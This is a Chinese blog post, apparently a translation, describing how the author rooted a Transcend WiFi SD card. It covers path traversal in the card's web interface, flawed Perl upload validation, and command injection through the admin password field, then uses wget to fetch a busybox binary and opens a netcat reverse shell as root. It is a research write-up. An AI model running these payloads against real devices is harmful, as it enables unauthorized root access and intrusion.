创见WiFi SD卡破解之路-阿里云开发者社区

我最近搞了张Transcend WiFi SD，颇为得意。它可以让我在几秒钟内将单反（奶昔，相当便携）中拍摄的照片传到任何支持wifi的设备上。我很喜欢在旅途中拍摄和分享图片，所以对我而言，可以无线传输图片的SD卡是一个很好的解决方案。确实如此！（以后也是！）。不过移动应用程序可以应该好好改进下（下载7MB的图像仅仅为了渲染？点击下载后还要重新下载一遍！谁能告诉我这是为什么？），但是，嘿，它能够完成任务！

这个小小的设备不仅可以存储16GB数据（还有32GB版本），而且还是一个嵌入式系统，能够运行应用程序，包括web服务器，和其他wifi设备通讯，甚至自建无线网络——这个明显的事实让我和我的小伙伴都惊呆了！好了，不废话了，进入主题：我们能不能用这个设备做一些设计之外的事情呢？

写这篇文章的目的不但是为了指出可以用来root、越狱设备的漏洞，同时也是为了展现摸索、利用漏洞的方法，其中的一些方法可能走不通，但其他的或许会导向万能的根用户。

准备Hax

我猜这张卡中存在着某种形式的嵌入式Linux系统。如果是这样，扩展它的功能会很容易，但是，首先我需要取得系统的控制权。到现在为止我只使用过和它配套的Android和iOS应用程序，不过很明显，最简单与电脑交互的方式是Web应用程序。下面的想法立即浮现在我的脑海中：

如果移动应用程序很糟糕，那么web应用和服务器肯定也好不到哪里去……也许它充满了等待被利用的漏洞。

孩子，我是对的！

一旦你连接到Web服务器（卡片的IP是192.168.11.254，默认登录admin/admin），你就会感受到和使用手机app一样糟糕的感觉，“用户体验”很糟，“破解体验”应该不错。很多人使用scanners、fuzers之类的强力工具来探索漏洞，然而这个系统的安全性是如此之差，以至于我随意摸索一番，就找到了可以利用的漏洞。

“Files”区域十分显眼，它允许你浏览SD卡的内容。不幸的是，它不允许你进入SD卡根目录的父目录。果真如此？如果可以进入父目录就好了，我们可以了解系统的内部情况，获得关于它的更多信息。如果我们足够幸运，甚至可以通过Web界面运行一些指令。你会注意到指向“父目录”的链接的URL是这样的（％2F就是URL编码格式中的斜杠字符“/”）：

http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd

好了，让我们试着访问/www，http://192.168.11.254/cgi-bin/file _list.pl?dir=%2Fwww

结果证明此路不通。访问/、/bin、/etc、或任何其他目录都失败了。:( 运气不行。不过，话说回来，如果可行的话，那也太容易了！好吧，其实也没那么困难，程序员真是太粗心。导航栏中?dir=/www/sd/../..同/是一样的效果，成功了！

哈，太尴尬了！貌似程序员只是确保路径使用/WWW/SD起始，但没有验证父目录的“../”。通过这种方式，我们可以浏览嵌入式系统中的任何文件。当然，点击文件是不会执行它们的，只是下载而已，然而这已经是一个巨大的成功了！

浏览文件系统、下载脚本之后，很明显系统使用的是busybox，这在我们的意料之中。由于大多数二进制文件的大小是相同的，这暗示它们是指向busybox的软链接。然而，许多不是软链接，包括大多数在/WWW/cgi-bin目录下的脚本。这些可能是值得注意的，因为只需通过浏览器访问它们就可以运行。

开始Hax

看起来很有希望！现在我们可以访问内部系统，即使只是只读模式，仍然给了我们很大的便利，因为我们能够研究和寻找可以利用的漏洞。:)

检查一些脚本，找到可以被利用漏洞，没有花掉多少时间。顺便提一下，这些都是Perl脚本。Perl有一个很好的特性就是使用open()调用打开一个文件，因为如果open()的参数不是真正的文件路径，而是以管道符结尾的shell命令的话，例如open("cat/etc/passwd |")，会执行程序。其他滥用open()的手段包括在不同的位置写一个新文件，或者覆盖现有的文件，所以我们可以编写自己的代码并运行它。让我们来看看是否有文件可以被利用。

有一个文件特别显眼，因为它包含了一个含有用户提供的变量的open()调用。kcard_upload.pl包含以下语句：

事实上，Web应用程序并没有使用这个文件。kcard_upload.pl对用户是隐藏的，但它仍然存在，在cgi-bin目录下可以访问。我们只需用浏览器指向它，就可以运行。这真是双倍的尴尬，一个未被使用的可被利用的脚本！但是它真的可以被利用吗？

通过阅读kcard_upload.pl的代码，我知道这里存在三个利用变量$basename控制系统的挑战：

首先，$basename不能直接被用户使用，因为它是调用GetBasename($upfile)的结果。用户（即，攻击者）直接使用的是$upfile。更准确地说，它是你选择上传文件时HTML表单的路径。但是，如果我们提交了路径，GetBasename将只返回路径末尾的文件名，其余将被移除。这使遍历目录（如之前提到的../../技巧）不可行。

其次，$basename由脚本转化为大写，所以无论我们传入什么，都会被转换为大写，这限制了可用的策略。

最后的挑战是kcard_upload.pl的脚本只允许PNG，JPG，BMP，GIF格式的文件上传。

所以这是一条死胡同吗？还没那么快！

如果你更仔细地查看代码，你会意识到尽管程序员想要限制上传文件的类型，然而他们只是检查文件名是否包含这些扩展名，而不是是否以这些扩展名结束。

此外，这些正则表达式并没有真正检查是否包含.，因为在正则表达式中.可以代表除了换行符以外的任意字符。.应该使用\转义。我猜程序员想要的是/\.GIF$/，但结果写成了/.GIF/，所以我们只需在文件名的任意位置包含三字符组合就可以绕过限制，例如/hi/helPNGlo/asdf.something。太方便了！

由于我们的路径会被转化成大写，也许我们就不能再调用任何系统命令（因为大部分都不是大写），不过也许我们仍然可以上传新的文件，也许是把我们自己的脚本植入系统。我们并不十分关心这些脚本的文件名是大写还是小写。

最后，如果你还记得，我们的路径在保存到变量$basename之前，己经被GetBasename()转化了。GetBasename()的功能是切分路径，获取最后的文件名。所以/path/to/file.txt会变成简单的file.txt。这很糟，因为这意味着我们再也不能操纵路径，不能使用类似“../../bin/our-malicious.script”的技巧，因为它最终会变为“our-malicious.script”，然后保存在DCIM/198_WIFI/。:_(

除非，GetBasename()包含一个可以被利用的漏洞。:_)

基本上，这些代码考虑了两种情况：用户提供的路径是由windows风格的反斜杠分隔，以及路径由斜杠分隔（除去windows之外的任何OS）。或者说，这是这些代码试图做到的！这些代码真正做的是，检查路径是否包含一个反斜杠，如果包含，那么就判定这是一个windows路径（因为windows路径使用反斜杠作分隔符），然后按照反斜杠分割路径。它并不会真正检查路径是否由斜杠分隔。因此，考虑以下路径：

/this/part/gets/discarded\/this/path/is/used

由于这个路径包含一个反斜杠（这是一个合法的字符），代码会它认定它是一个windows路径，因此我们最终获得了一个不是真正的基本名的basename，它实际上是一个路径。在我们的例子中，路径将是：/this/path/is/used.

你看！类似/PNG/something\/../../our-malicious.script的路径将绕过所有安全措施，之后写入我们选定的位置 B-) 这是个好消息。坏消息是这些不能真正生效。啊！这是因为脚本错误地假设../DCIM/198_WIFI存在，但由于脚本从/WWW/cgi-bin运行，所以这个假设不成立（正确的路径应该是../sd/DCIM/198_WIFI）。令人伤心的是我们对此无能为力。这个bug是硬编码到脚本的。开发人员应该没怎么注意这一点，因为这个脚本并不打算提供给用户使用。（记得吗？它是隐藏的。）据我所知，尽管我们做了花了不少功夫，这是一条死胡同。:-( 不过也许有人可以拿出一个创新的方案。

（此外，kcard_upload.pl输出的表单并不调用自身，而是调用一个名为wifi_upload二进制文件，因此我们需要自己实现HTTP POST调用。）

Hax继续

不过，注意看！我们已经发现了代码质量如此糟糕，因此肯定还存在很多其他的漏洞（如果你想更有想象力一点，我很肯定kcard_upload.pl调用的/www/cgi-bin/wifi_upload工具，可以通过栈溢出和堆溢出破解，因为代码中有很多混乱的strcpy调用）。事实上，我没有过多地检查这些方面。还有一些我没在这篇里详述的其他死胡同。我下面将详述一个明显的漏洞，非常容易利用：

从perl脚本直接调用shell命令有很多不同的方法，如果程序员粗心大意地使用不妥的方式调用shell命令，那么也许我们可以运行自己的shell命令！使用perl脚本运行shell代码的一个方法是使用system()调用。事实上，.pl和.cgi文件使用了大量的system()调用，但是它们的参数都是硬编码的，所以没有太多的空间可供操纵或利用。另外一种使用perl调用shell代码的方法是使用qx{}表达式，但是代码中没有使用过这种方式。然而，第三种方式是使用反引号包围shell代码，相当于使用qX{}。事实上很多地方都使用了这种方式，而且shell代码中也使用了用户提供的输入！这意味着他们的shell代码混合了我们的输入，所以可能被用来运行我们自己的代码。

在kcard_save_config_insup.pl有一行给人的感觉就像圣诞节：

该语句运行$update_auth指定的命令，将$LOGIN_USR和$LOGIN_PWD作为参数。这两个参数直接来自一个表单，这意味着我们可以控制它们的值。没有针对它们内容的检查！更精确地说，这是当你进入Web界面，点击“settings”时显示的一个表单。你可以通过http://192.168.11.254/kcardX120Xedit_config_insup.pl直接访问这个表单。表单询问的是管理员的用户名和密码。这意味着通过选择一个恰当构造的密码，我们可以执行代码！首先，密码必须包含一个分号，以便在$update_path命令执行后可以开始执行一个新shell命令。然后它就可以包含任何我们想要的shell代码。最后，密码必须以＃符号（表明后面的内容是注释）结束，这样后面的内容将被忽略（> /mnt/mtd/config/ia.passwd部分）。

这很容易测试，例如：admin; echo haxx > /tmp/hi.txt #。

然而表单进行了合理性测试，它不会允许长密码和奇怪的字符。由于这些检查是通过JavaScript来完成的，而不是在服务器端完成的，绕过它们太容易了。我使用Form Editor Chrome扩展来摆脱这些问题。

提交表单后，我们可以很容易地检查漏洞是否有效，只需利用本文前面提到的漏洞访问/tmp。我们甚至可以下载文件然后检查其内容是否正确。

记得将你的密码恢复为“admin”，否则利用完此漏洞后你需要通过出厂设置重设你的SD卡（当然重设不会影响到你的图片）。

获取root

目前为止，我们不仅能够读取嵌入式系统的文件系统中的任何文件，而且也可以执行shell代码，并写入文件。不过，我们仍然缺少合适的shell访问方式。

查看/usr/bin目录中的内容，我们可以发现，这里有很多可以让我们制造反向shell的好东西：netcat（nc 二进制）、telnet，等等。反向shell是这样工作的，通过我们PC的一个特定端口监听传入的连接，把目标系统连接到它，运行一个shell，通过该连接获取输入，同时通过该连接打印所有输出。建立反向shell的方法你用上所有的手指、脚趾也数不过来，不过最简单的方法是调用netcat：

nc192.168.11.111337 -e /bin/bash

这会让netcat来连接我们的电脑（被分配的IP为192.168.11.11）的1337端口，然后将输入传给bash。当然，你必须使用先前所描述的漏洞来运行这个命令，将你的密码改为admin NC 192.168.11.111337 -e /bin/bash #。不幸的是这根本不起作用。使用telnet或其他工具的技巧也无效。为什么无效呢？nc、telnet和其他工具的软链接在/usr/bin目录下，指令的语法是正确的！事实上，我们亲爱的SD卡内的嵌入式Linux禁用了这些busybox的功能！（我们可以尝试调用telnet或netcat，将stdout和stderr重定向到/tmp/hi.txt来验证一点，使用以下命令nc 192.168.11.111337 -e /bin/bash &\> /tmp/hi.txt。下载hi.txt以后，它的内容会是类似如下的内容：nc: applet not found。这意味着nc被禁用了。真恶心！我们只能通过那个糟糕的表单运行命令，同时不能使用网络工具吗？当然不是！

碰巧的是，transcend脚本使用到了wget，因此wget是启用的。它允许我们下载另一个完整的BusyBox二进制文件 :))) 我懒得自己编译，所以我从http://busybox.net/downloads/binaries/latest/获取了一个预编译的busybox二进制文件。我把busybox-armv5l二进制文件放在我电脑上的本地web服务器上（我的SD卡没有互联网配置），所以我只是运行了wget http://192.168.11.11/busybox-armv5l，使用表单漏洞将它下载到SD卡的/www/cgi-bin目录。我也运行了chmod a+x /www/cgi-bin/busybox-armv5l确保它随后可以运行。

最后，我得到了我的远程shell！运行nc -vv -l 1337我的电脑会监听1337端口，运行/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash，SD卡在该端口上启用shell。由于下载的busybox二进制文件启用了所有工具，我们可以通过远程shell运行/www/cgi-bin/busybox-armv5l <命令>获得更丰富的shell命令！例如，/www/cgi-bin/busybox-armv5l id告诉我们，我们已经已经以root身份在运行shell。

uid=0 gid=0